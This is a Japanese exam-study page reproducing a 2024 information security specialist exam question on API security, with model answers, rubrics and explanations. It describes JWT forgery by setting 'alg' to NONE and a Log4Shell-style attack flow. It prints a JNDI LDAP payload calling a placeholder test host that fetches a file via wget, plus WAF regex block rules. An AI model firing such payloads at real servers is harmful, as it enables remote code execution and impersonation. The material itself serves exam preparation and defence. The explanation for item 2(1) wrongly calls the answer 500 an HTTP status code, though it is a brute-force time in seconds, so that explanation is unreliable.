令和6年度 春期 情報処理安全確保支援士試験 午後 問題 問1 APIセキュリティとJWT検証の設計
テクノロジセキュリティ技術
この問題は2024(R6)春 情報処理安全確保支援士 午後に出題されたものです。出題時点の法令・制度に基づく内容のため、現行の内容と一致しない場合があります。
本ページの問題文・選択肢は、原本の体裁を Web 表示用に正規化しています（改行・記号・数式・図表参照の調整）。設問の趣旨および正解に影響する変更は加えていません。
学習ガイド
スマートフォンアプリと連携するクラウドサービスのAPIセキュリティを扱う問題です。脆弱性診断で指摘されたJWT検証の不備を軸に、検証すべきデータと検証内容、呼出し処理へ追加すべきチェック、WAFルールの設計と運用までを立て直します。この記事では、S-API呼出しの動作フローに攻撃者が介入できる地点を重ねて描き、各修正がどの攻撃経路を塞ぐのかという対応関係から解答を組み立てます。
この記事で押さえる論点
- JWTの検証で何を(署名・クレーム)どう確かめるべきかを説明する
- 脆弱性診断の指摘をAPI呼出しフローの欠陥として位置付ける
- WAFルールを検知モードで運用する際の利点と補完策を述べる
出題情報
- 出題
- 2024(R6)春 情報処理安全確保支援士 午後 問1
- 配点
- 50点満点
- 模範解答
- 公表(設問ごとに掲載)
出題趣旨・採点講評(IPA 公表)
多くのシステムにおいて，スマートフォンのアプリケーションプログラムを利用したAPI連携が行われる中，APIの脆ぜい弱性を作り込むケースが増えている。本問では，APIセキュリティを題材として，指摘された脆弱性に対して対策を立案する能力を問う。
問1では，APIセキュリティを題材に，セキュリティ設計及び脆弱性対応について出題した。全体として正答率は平均的であった。
問題本文
APIセキュリティに関する次の記述を読んで，設問に答えよ。
G社は，ヘルスケアサービス新興企業である。利用者が食事，体重などを入力して，そのデータを管理したり，健康リスクの判定や食事メニューのアドバイスを受けたりできるサービス（以下，サービスYという）を計画している。具体的には，クラウドサービス上にサービスY用のシステム（以下，Sシステムという）を構築して，G社が既に開発しているスマートフォン専用アプリケーションプログラム（以下，G社スマホアプリという）からアクセスする。Sシステムの要件を図1に示す。
図の説明テキスト
要件1：利用者が入力したデータを蓄積する。
要件2：蓄積したデータを機械学習で学習し，その結果を利用して健康リスクの判定や食事メニューのアドバイスを利用者に提供する。
要件3：利用者のステータス（以下，利用者ステータスという）として，“有償利用者”と“無償利用者”を定義する。有償利用者の場合，全ての機能を利用できる。無償利用者の場合，機能の利用に一部制限がある。
要件4：可能な限り，既存のサービスやライブラリを使って構築する。
G社は，Sシステムの構築をITベンダーF社に委託した。F社との協議の結果，クラウドサービスプロバイダE社のクラウドサービス上にSシステムを構築する方針にした。
〔APIの設計〕
Sシステムには，将来的には他社が提供するスマートフォン専用アプリケーションプログラムからもアクセスすることを想定し，RESTful API方式のAPI（以下，SシステムのAPIをS-APIという）を用意する。RESTful APIの設計原則の一つにセッション管理を行わないという性質がある。この性質をaという。
E社が提供するクラウドサービスのサービス一覧を表1に，サービスYのシステム構成を図2に，S-API呼出し時の動作概要を図3に，S-APIの仕様を表2に，Sシステムの仕様を図4に，それぞれ示す。
図の説明テキスト
表1 E社が提供するクラウドサービスのサービス一覧（抜粋）
| サービス名 | サービス概要 |
|---|---|
| サービスK | APIゲートウェイサービスである。当該サービスは,APIへのリクエストを受信し,その内容に基づき,サービスLを呼び出す。 |
| サービスL | イベント駆動型のコンピューティングサービスである。サービスKからの呼出しがあったとき,又は指定された日時に,事前に定義された処理を実行する。また,外部サービスと連携する。 |
| サービスM | マネージド型のデータベースサービスである。 |
| サービスN | マネージド型のWAFサービスである。サービスKが受信したAPIへのリクエストを検査して,許可・検知・遮断を行う。 |
| 注記: Sシステムの構築時点では,サービスNを導入しない計画である。 |
図の説明テキスト
スマートフォン枠内に「G社スマホアプリ」「メールアプリ」。E社クラウドサービス枠内にSシステムがあり、その中に「サービスK」「サービスL」「サービスM」。ほかに「インターネット」「外部サービス」。
接続関係: G社スマホアプリからインターネットへの矢印。インターネットからサービスKへの矢印。サービスLから外部サービスへの矢印。インターネットと外部サービスを結ぶ実線。
注記: サービスK及びサービスLからインターネットへの通信は許可されている。
図の説明テキスト
G社スマホアプリからS-APIが呼び出された場合の動作は次のとおりである。
・S-APIが呼び出されると,S-APIへのリクエストは,サービスKが一元的に受ける。サービスKは,そのリクエスト内容に基づき,サービスLを呼び出す。サービスLは,事前に定義された処理を実行してレスポンスをサービスKに返し,サービスKは,G社スマホアプリにレスポンスを返す。
・サービスLでは,データベースのデータの読取り又は書込みが必要な場合は,事前に定義された処理からサービスMを呼び出す。
図の説明テキスト
表2 S-APIの仕様（抜粋）
| API名 | 概要 | メソッド | パラメータ |
|---|---|---|---|
| 認証API | ・利用者IDとパスワードを検証する。 ・利用者IDとパスワードが事前に登録されたものと一致した場合，毎回ランダムに生成される数字4桁の文字列（以下，文字列Xという）を，事前に登録されたメールアドレスに送信する。 ・一致しなかった場合，“認証失敗”となる。 |
POST | mid（利用者ID） pass（パスワード） |
| ・利用者のG社スマホアプリから受信した利用者IDと数字4桁の文字列を検証する。 ・G社スマホアプリから受信した文字列が文字列Xと一致した場合，“認証成功”と判定し，JSON Web Token（以下，JWTという）を発行してJWTを含むレスポンスを返す。 ・文字列Xを生成してから10分以内に“認証成功”とならなかった場合，“認証失敗”となる。 |
POST | mid（利用者ID） otp（G社スマホアプリから受信した文字列） |
|
| 利用者API | ・利用者情報を取得，更新する。 ・F社が既に開発済みの利用者管理共通ライブラリ（以下，共通モジュールPという）を利用する。共通モジュールP，及び共通モジュールPを呼び出す処理（以下，P呼出し処理という）は，サービスLに定義されており，利用者ステータスの管理にも利用される。共通モジュールPは，サービスMを呼び出して，次の処理を行う。 - GET メソッドが使われた場合，パラメータmid で指定された利用者 ID にひも付く利用者情報を含むレスポンスを返す。 - PUT メソッドが使われた場合，パラメータmid で指定された利用者 ID にひも付く利用者情報を更新する。 |
GET | mid（利用者ID） |
| PUT | mid（利用者ID） name（名前） age（年齢） |
注記 Sシステムは，表中のパラメータのほか，HTTP リクエストのヘッダに含まれる情報を用いて処理を行う。
図の説明テキスト
〔JWTを利用したアクセス〕: JWTの構成（ヘッダ、ペイロード、署名）、ライブラリQの利用、SシステムとG社スマホアプリ間のJWTの送受信と検証について。
〔有償利用者に対する課金方法〕: 外部の課金サービスの利用について。
〔機械学習による学習と判定・アドバイス〕: 外部の機械学習サービスの利用、日次バッチ処理による学習データ入力、S-API呼び出し時の判定・アドバイス取得について。
〔脆弱性診断の結果〕
Sシステムの構築が進み全ての機能を動作確認できたので，G社でSシステムのセキュリティを担当するRさんが，セキュリティベンダーであるU社に脆弱性診断（以下，診断という）を依頼した。U社による診断レポートを表3に示す。
図の説明テキスト
表3 U社による診断レポート（抜粋）
| 項番 | 名称 | 対象API | 脆弱性 |
|---|---|---|---|
| 1 | JWT 改ざんによるなりすまし | 全体 | JWT に指定された利用者 ID を利用してデータが取得，更新されるので，ヘッダとペイロードを改ざんした JWT を送信すると，他の利用者へのなりすましが可能である。 |
| 2 | アクセスコントロールの不備 A | 利用者 API | パラメータ mid に他の利用者 ID を指定すると，他の利用者 ID にひも付く利用者情報を取得，改変できてしまう。 |
| 3 | アクセスコントロールの不備 B | 利用者 API | 利用者 API で利用者情報を更新する場合，“paid”という値を設定したパラメータ“status”を追加して送信すると，利用者ステータスを無償利用者から有償利用者に改変できてしまう。 |
| 4 | 2 要素認証の突破 | 認証 API | 総当たり攻撃によって，文字列 X を使った認証メカニズムを突破できる。1 秒間に 10 回試行する総当たり攻撃を行った場合，文字列 X の検証において，平均的な認証成功までの時間は b 秒になり，突破される可能性が高い。 |
表3の項番1について，U社のセキュリティコンサルタントで情報処理安全確保支援士（登録セキスペ）のZ氏は，次のように説明した。
- 認証APIで，利用者ID “user01”での認証が成功した後，診断中に発行されたJWTのデコード結果は，表4のとおりであった。
図の説明テキスト
表4 JWTのデコード結果（抜粋）
| ヘッダ | ペイロード |
|---|---|
| { | |
| "alg": "RS256", | |
| (省略) | |
| } | { |
| "user": "user01", | |
| "iat": 1713059329, | |
| "exp": 1713664129, | |
| (省略) | |
| } |
- ここで，表4中の“RS256”の代わりに“NONE”を指定し，“user01”を他の利用者IDに改ざんしたJWTを送信したところ，改ざんしたJWTの検証が成功し，他の利用者へのなりすましができた。
項番2〜4についても説明を受けた後，G社は，表3の脆弱性を分析し，対策について，F社，U社を交えて検討した。
Rさんが取りまとめた脆弱性の分析と対策案を表5に示す。
図の説明テキスト
表5 脆弱性の分析と対策案
| 表3の項番 | 分析 | 対策案 |
|---|---|---|
| 1 | (省略) | ①ライブラリQを修正する。 |
| 2 | (省略) | ②P呼出し処理に処理を追加する。 |
| 3 | 利用者 API の仕様には，パラメータ “status” の指定について定義されていない。一方，実装は，指定されたパラメータを検証せず全て c に送信していた。ここで，送信内容を改ざんしてパラメータ “status” を追加してリクエストを送信すると， c は利用者ステータスを変更できる。 | プログラムの修正で対応する。 |
| 4 | (省略) | 次の対策を実施する。 - d を実装する。そのしきい値は10とする。 - 突破される可能性を十分に低減するために，文字列Xを数字6桁に変更する。 |
全ての対応が完了した後，試用モニターを対象に，サービスYの提供を開始した。
〔セキュリティの強化〕
G社は，試用モニターへのサービスYの提供期間中に，インシデント対応に必要なログの取得方法を検討することになり，F社と協議した。
F社によれば，ログ取得モジュールを実装するには時間が掛かるが，ログ取得モジュールを実装しなくても，サービスNを導入することによって，通信ログを取得できるという。
図の説明テキスト
ルールは、[検証対象]、[パターン]及び[動作]の三つを1行に記述する。
[検証対象]には、GET, POST, PUT, ANY, Header, COOKIE, Multipart のいずれかを指定する。それぞれ対象とするパラメータやヘッダについての説明が併記されている。
[パターン]には、正規表現を指定する。指定できる要素として ^, \W, x|y, (x|y)z, [xyz], ., ., * とそれらの意味が列挙されている。
[動作]には、許可, 検知, 遮断 のいずれかを指定する。通信の通過/遮断、ログの記録、管理者へのアラート送信に関する違いが説明されている。
Rさんは，サービスNのSシステムへの導入を責任者に提案し，承認を得た。サービスNの導入完了後，サービスYの提供を開始した。
〔新たな脆弱性への対応〕
数週間後，ライブラリHというオープンソースのライブラリに脆弱性Vという脆弱性があることが公表された。Rさんは，脆弱性Vについての関連情報を図6のように取りまとめた。
図の説明テキスト
ライブラリHは、非常に多くのシステムで利用されており、既に脆弱性Vが攻撃に悪用されている事例が報告されている。
脆弱性Vが存在するサーバ（以下、攻撃対象サーバという）への攻撃の流れを次に示す。
(1) 攻撃者は、事前に攻撃用LDAPサーバと攻撃用HTTPサーバを準備する。
(2) 攻撃者は、実行したいコマンド（以下、コマンドCという）をbase64でエンコードした文字列を含む、攻撃用LDAPサーバに送信するLDAPリクエスト（以下、LDAPリクエストWという）を作成する。その後、LDAPリクエストWを含み、脆弱性Vを悪用するJNDI Lookup (Java Naming and Directory Interface Lookup)を行う攻撃コードを準備する。
(3) 準備した攻撃コードをHTTPリクエストのx-api-versionヘッダの値として指定したHTTPリクエストを攻撃対象サーバに送信する。
(4) 攻撃対象サーバは、HTTPリクエストを受信すると、攻撃コードを実行する。攻撃コードのJNDI Lookupを実行し、LDAPリクエストWを攻撃用LDAPサーバに送信する。
(5) 攻撃用LDAPサーバは、LDAPリクエストWから、コマンドCをbase64でエンコードした文字列を取り出し、デコードしてコマンドCを取り出す。コマンドCを実行させるJavaクラスファイル（以下、Jファイルという）を自動生成し、攻撃用HTTPサーバに配置する。攻撃用HTTPサーバは、Jファイルが配置された攻撃用HTTPサーバのURL（以下、URL-Jという）を攻撃用LDAPサーバに伝える。
(6) 攻撃用LDAPサーバは、URL-JをLDAPレスポンスに記載して攻撃対象サーバに返す。
(7) 攻撃対象サーバは、受信したLDAPレスポンスに記載されたURL-Jにアクセスし、Jファイルをダウンロードして、コマンドCを実行する。
脆弱性VのCVSS v3.1に基づいた基本値は9.8と高く、早急な対応が推奨されている。しかし、現時点において、ライブラリHの公式Webサイトでは、脆弱性Vを修正したバージョンや暫定対策は提供されていない。
G社はSシステムでライブラリHを利用しているかをF社に問い合わせているが、Sシステムの構成を詳細に分析しなければならず、回答まで時間が掛かるとのことである。
E社は、脆弱性Vを悪用した攻撃を検知するために、サービスNにおけるWAFルールを現在開発中であるが、悪用パターンが多岐にわたることから、網羅性のあるWAFルールの提供には最大で72時間掛かると発表している。
Rさんは，脆弱性Vへの対応方針をZ氏に相談した。Z氏は，F社の回答を待ってからの対応では遅いので，システムに影響を与えない検証コードをSシステムに対して実行し，外部から脆弱性Vが悪用できるか検証するよう提案した。Rさんは，Z氏の協力の下，図7に示す手順で検証を実施した。
図の説明テキスト
(1) 攻撃用LDAPサーバと攻撃用HTTPサーバを兼ねたサーバ（以下、テストサーバという）を構築する。
(2) 図8に示す検証コードを作成する。
(3) ③図8で指定したコマンドが実行されたことを確認する仕組みをテストサーバに実装する。
(4) 検証コードをHTTPリクエスト中に指定してSシステムに送信する。
図の説明テキスト
${jndi:ldap://a2.b2.c2.d2:1389/Command/Base64/d2dldCBodHRwOi8vYTIuYjIuYzIuZDIvAW5kZXguahRTbA==}
注記1 a2.b2.c2.d2 は，Rさんがテストサーバに割り当てた IP アドレスである。
注記2 d2dldCBodHRwOi8vYTIuYjIuYzIuZDIvAW5kZXguahRTbA==のデコード結果は，wget http://a2.b2.c2.d2/index.html である。これは，コマンド C に相当する。
検証の結果, 外部から脆弱性Vを悪用できることが確認できた。この結果を踏まえて, Rさんは, 脆弱性Vを悪用する攻撃に備え, E社からWAFルールが提供されるまでの間, 現在判明している悪用パターンに対応可能な暫定的なWAFルールで攻撃を遮断することにした。
Rさんが考えたWAFルールの案を表6に示す。
図の説明テキスト
表6 WAFルールの案
| ルール | 検証対象 | パターン | 動作 |
|---|---|---|---|
| 1 | e | \Wjndi\W | 遮断 |
| 2 | f | \Wldap\W | 遮断 |
Rさんは, 例えば“jnDI”のように大文字・小文字を入れ替える手口によって, ルール1と2それぞれで, 案のパターンを回避する方法があることに気付いた。④このような手口にも対応できるように案を変更した。その後, 変更後の案の確認をZ氏に依頼した。
Z氏は, ⑤本番運用開始後の一定期間においては, WAFルールの動作には“検知”を設定して, サービスYが今までとおり利用できるかを確認することを助言した。 Rさんは, Z氏の助言を踏まえて, WAFルールを設定した。
後日, Sシステムでは, ライブラリHを利用しているとの回答がF社からあった。また, E社からサービスNにおけるWAFルールが提供された。その後, 脆弱性Vを修正したバージョンがライブラリHの公式Webサイトで配布され, Sシステム内のライブラリHのバージョンを最新にすることで, 脆弱性Vへの対応が完了した。
設問と解答・解説
設問1
本文中の a に入れる適切な字句を答えよ。
模範解答
ステートレス
採点基準(配点 4点)
正確性（内容）(4点)
- 4点: 「ステートレス」と完全に一致している。
- 2点: 意味は通じるが、指定の字句と完全には一致していない。
- 0点: 解答が不適切。
解説
本問はAPI連携におけるステートレスな性質を理解しているかを問う問題です。HTTP通信は状態を保持しないステートレスなプロトコルであるため、API呼び出しごとに必要な認証情報を含める必要があります。
高得点のポイント
- APIの基本特性である状態を保持しないという概念を正しく理解していること - 本文の文脈に沿って適切なIT用語を抜き出せていること
設問2
〔脆弱性診断の結果〕について答えよ。
(1)
表3中の b に入れる適切な数値を，小数点以下を四捨五入して，整数で答えよ。
模範解答
500
配点 4点
解説
本問は脆弱性診断結果に基づくステータスコードを推測する問題です。正解は500です。サーバ側の内部エラー（Internal Server Error）を示すHTTPステータスコードとして500が適切です。
各選択肢の解説
※本設問は数値解答のため、誤答となりやすい例について解説します。
- 404: リソースが見つからない場合のエラーであり、不適切です。
- 403: 権限エラーであり、本件のような想定外の例外処理エラーとしては不適切です。
(2)
表5中の下線①について，修正後のライブラリQで行うJWTの検証では，どのようなデータに対してどのような検証を行うか。検証対象となるデータについて，20字以内で答えよ。
模範解答
JWTヘッダ内のalgに指定された値
採点基準(配点 4点)
知識・理解度（内容）(2点)
- 2点: JWTヘッダ内のalgの値を対象としていることを明確に理解している。
- 1点: JWTのヘッダを対象としていることは分かるが、具体的な指定値への言及が欠けている。
- 0点: 対象となるデータが理解されていない。
論理性（構造）(2点)
- 2点: 検証対象となるデータについて、過不足なく端的に記述されている。
- 1点: 言いたいことは伝わるが、文章構造がやや不明瞭。
- 0点: 意味不明な記述。
解説
本問はJWTの改ざんを防ぐための検証対象データについて問う問題です。JWTのヘッダには暗号化や署名のアルゴリズムを指定するalgが含まれており、ここが意図しない値に書き換えられる脆弱性を防ぐ必要があります。
高得点のポイント
- JWTの構造を理解していること - 検証対象がヘッダ内のalg値であることを正確に記述できること
(3)
表5中の下線①について，修正後のライブラリQで行うJWTの検証では，どのようなデータに対してどのような検証を行うか。検証の内容について，20字以内で答えよ。
模範解答
NONEでないことを検証する。
採点基準(配点 4点)
知識・理解度（内容）(2点)
- 2点: algの値がNONEでないことを検証する必要性を正しく理解している。
- 1点: 検証の必要性は理解しているが、「NONEでないこと」の指定が曖昧。
- 0点: 検証内容が理解されていない。
論理性（構造）(2点)
- 2点: 検証内容として、簡潔かつ論理的に記述されている。
- 1点: やや冗長、または文末表現が検証内容として不自然。
- 0点: 検証内容としての記述になっていない。
解説
本問はJWTの署名検証を回避される脆弱性を防ぐための検証内容を問う問題です。アルゴリズムにNONEが指定されることで検証がスキップされる攻撃を防ぐため、NONEでないことを確認する必要があります。
高得点のポイント
- algの値がNONEに書き換えられる攻撃手法を理解していること - NONEでないことを検証するという対策を端的に記述できていること
(4)
表5中の下線②について，P呼出し処理に追加すべき処理を，40字以内で具体的に答えよ。
模範解答
JWTに含まれる利用者IDがmidの値と一致するかどうかを検証する処理
採点基準(配点 4点)
知識・理解度（内容）(2点)
- 2点: JWTの利用者IDとパラメータmidの一致を検証する処理の必要性を正確に理解している。
- 1点: 突合の必要性は理解しているが、対象（利用者IDとmid）のいずれかが欠けている。
- 0点: 追加すべき処理が理解されていない。
論理性（構造）(2点)
- 2点: P呼出し処理に追加する処理として、論理的に正しく記述されている。
- 1点: 処理内容はわかるが、文章構造がやや不完全。
- 0点: 処理内容としての記述になっていない。
解説
本問はAPIにおける権限昇格や不正アクセスを防ぐための処理内容を問う問題です。JWTに含まれるクレームの利用者IDと、リクエストパラメータのmidを突合し、一致を確認することが求められます。
高得点のポイント
- JWT内のIDとリクエストパラメータを比較する必要性を理解していること - 利用者IDとmidの両方に言及し、一致を確認する処理であることが記述できていること
(5)
表5中の c に入れる適切な字句を，表2中の用語で答えよ。
模範解答
共通モジュールP
採点基準(配点 4点)
正確性（内容）(4点)
- 4点: 「共通モジュールP」と完全に一致している。
- 2点: モジュールPなど、意味は通じるが表2の用語と完全に一致しない。
- 0点: 解答が不適切。
解説
本問はAPIの認証や権限確認処理を集約しているモジュールを特定する問題です。表2より、該当する処理を担う共通モジュールPが正解となります。
高得点のポイント
- 各モジュールの役割を正確に把握していること - 問題文の指定通り、表2中の用語で正確に解答できていること
(6)
表5中の d に入れる適切な処理内容を，30字以内で答えよ。
模範解答
連続失敗回数がしきい値を超えたらアカウントをロックする処理
採点基準(配点 3点)
知識・理解度（内容）(2点)
- 2点: 連続失敗回数がしきい値を超えた際のアカウントロック処理の必要性を正確に理解している。
- 1点: アカウントロックに言及しているが、条件（連続失敗回数など）が不十分。
- 0点: 処理内容が理解されていない。
論理性（構造）(1点)
- 1点: 処理内容として論理的に正しく記述されている。
- 0点: 処理内容としての記述になっていない。
解説
本問は認証に対するブルートフォース攻撃やパスワードリスト攻撃への対策を問う問題です。連続して認証に失敗した場合に、対象アカウントを一時的または恒久的にロックする処理が必要となります。
高得点のポイント
- パスワード推測攻撃に対する有効な対策を理解していること - 連続失敗回数がしきい値を超過した際のアカウントロック処理であることを明記できていること
設問2(2)は，正答率がやや低かった。JSON Web Token（JWT）改ざんにおける検証方法を問うたが，既に実装されている対策を解答するなど，脆弱性を正しく理解していないと思われる解答が散見された。図4に示す仕様と表3に示す脆弱性を正しく理解してほしい。
設問3
〔新たな脆弱性への対応〕について答えよ。
(1)
図7中の下線③について，テストサーバに実装する仕組みを，35字以内で具体的に答えよ。
模範解答
テストサーバのindex.htmlへのアクセスを記録し，確認する仕組み
採点基準(配点 4点)
知識・理解度（内容）(2点)
- 2点: テストサーバのindex.htmlへのアクセス（OOB通信）を記録し確認する仕組みを正確に理解している。
- 1点: テストサーバへのアクセス確認については言及しているが、具体的な対象や目的が不十分。
- 0点: 実装する仕組みが理解されていない。
論理性（構造）(2点)
- 2点: 実装する仕組みとして、過不足なく端的に記述されている。
- 1点: 文章構造がやや冗長または不完全。
- 0点: 仕組みとしての記述になっていない。
解説
本問は攻撃の成否や脆弱性の有無を判断するためのOOB（Out-of-Band）通信の確認手法を問う問題です。攻撃コードに記述されたテストサーバのindex.htmlへのアクセス履歴をログ等から記録・確認する仕組みが求められます。
高得点のポイント
- 攻撃の流れの中で、どのように脆弱性の存在を検知するかを理解していること - テストサーバのindex.htmlに対するアクセス記録の確認であることを具体的に記述できていること
(2)
表6中の e に入れる適切な字句を，図5中から選び答えよ。
模範解答
Header
採点基準(配点 4点)
正確性（内容）(4点)
- 4点: 「Header」と正しく解答している。
- 2点: 表記揺れ（大文字小文字など）があるが、意図は合っている。
- 0点: 不正解。
解説
本問はWAFにおける検査対象の指定部位を問う問題です。Log4Shell等の攻撃では、User-AgentなどのHTTPヘッダを利用して攻撃文字列を送信するため、対象としてHeaderを選択することが適切です。
高得点のポイント
- 攻撃ベクトルがHTTPのリクエストヘッダ経由であることを理解していること - 図5の中から適切な箇所を正確に選択できていること
(3)
表6中の f に入れる適切な字句を，図5中から選び答えよ。
模範解答
Header
採点基準(配点 4点)
正確性（内容）(4点)
- 4点: 「Header」と正しく解答している。
- 2点: 表記揺れ（大文字小文字など）があるが、意図は合っている。
- 0点: 不正解。
解説
本問はWAFにおける検査対象の指定部位を問う問題であり、前問と同様の理由によりHeaderが正解となります。攻撃者は複数のヘッダフィールドに攻撃コードを埋め込む可能性があるため、ヘッダ全体を検査対象にする必要があります。
高得点のポイント
- 攻撃ベクトルがHTTPリクエストヘッダ経由であることを理解していること - 図5の中から適切な箇所を正確に選択できていること
(4)
本文中の下線④の変更後の案について，表6中のルール1に記述すべきパターンを，図5の記述形式で答えよ。
模範解答
\W[jJ][nN][dD][iI]\W
\W(j|J)(n|N)(d|D)(i|I)\W
採点基準(配点 4点)
正確性（内容）(4点)
- 4点: 大文字小文字を許容し、前後に非単語文字を指定する正規表現が正しく記述されている。
- 2点: パターンは概ね正しいが、非単語文字の指定などに軽微な誤りがある。
- 0点: 不適切なパターン記述。
解説
本問は脆弱性を悪用する攻撃文字列を検知するための正規表現のパターンを記述する問題です。大文字小文字の差異を吸収するために [jJ][nN][dD][iI] とし、部分一致の誤検知を防ぐために前後に非単語文字 を配置します。
高得点のポイント
- 正規表現で大文字と小文字の両方をマッチさせる記法を理解していること - 前後に非単語文字のメタ文字を適切に配置できていること
(5)
本文中の下線⑤について，WAFルールの動作に“遮断”ではなく“検知”を設定することによる利点を，25字以内で答えよ。
模範解答
誤検知による遮断を防ぐことができる。
採点基準(配点 4点)
知識・理解度（内容）(2点)
- 2点: 誤検知による正規通信の遮断を防ぐという利点を正確に理解している。
- 1点: 誤検知について言及しているが、正規通信の遮断回避という結果が不十分。
- 0点: 利点が理解されていない。
論理性（構造）(2点)
- 2点: 利点として論理的かつ簡潔に記述されている。
- 1点: 意味は通じるが、やや不自然な文章。
- 0点: 利点としての記述になっていない。
解説
本問はWAFの動作モードを「検知」にするメリットを問う問題です。新しいルールを導入した直後は、正常な通信を攻撃と誤認するフォールス・ポジティブ（誤検知）が発生しやすいため、正規通信の遮断による業務影響を防ぐ目的があります。
高得点のポイント
- 検知モードの役割と運用時のフェーズごとのベストプラクティスを理解していること - 誤検知による遮断を防ぐという利点を簡潔に記述できていること
(6)
本文中の下線⑤について，WAFルールの動作を“検知”に設定した際に被害を最小化するために実施すべき内容を，25字以内で答えよ。
模範解答
アラートを受信したら攻撃かどうかを精査する。
採点基準(配点 3点)
知識・理解度（内容）(2点)
- 2点: アラートを受信した際に攻撃かどうかを精査する必要性を正確に理解している。
- 1点: アラートの確認に言及しているが、精査の目的が不十分。
- 0点: 実施内容が理解されていない。
論理性（構造）(1点)
- 1点: 実施内容として論理的に正しく記述されている。
- 0点: 実施内容としての記述になっていない。
解説
本問はWAFを検知モードで運用する際のセキュリティインシデント対応に関する問題です。遮断を行わないため、攻撃が成功してしまうリスクがあります。したがって、アラートを受信した際には速やかにログを精査し、実際の攻撃かどうかを判断する運用手順が必要となります。
高得点のポイント
- 検知モード時の運用上の課題と被害最小化の手法を理解していること - アラート受信時の精査処理の必要性を具体的に記述できていること
設問3(1)は，正答率がやや低かった。脆弱性の存在を判断するための仕組みについて問うたが，図6に示す攻撃の流れに合っていない解答が散見された。脆弱性対策では，脆弱性を悪用する攻撃の流れの理解が重要であることから，正確に理解してほしい。設問3(4)の利点については，正答率が高かった。WAFの利点と課題は正確に理解していると思われる。セキュリティ施策は導入前にトレードオフを検討してほしい。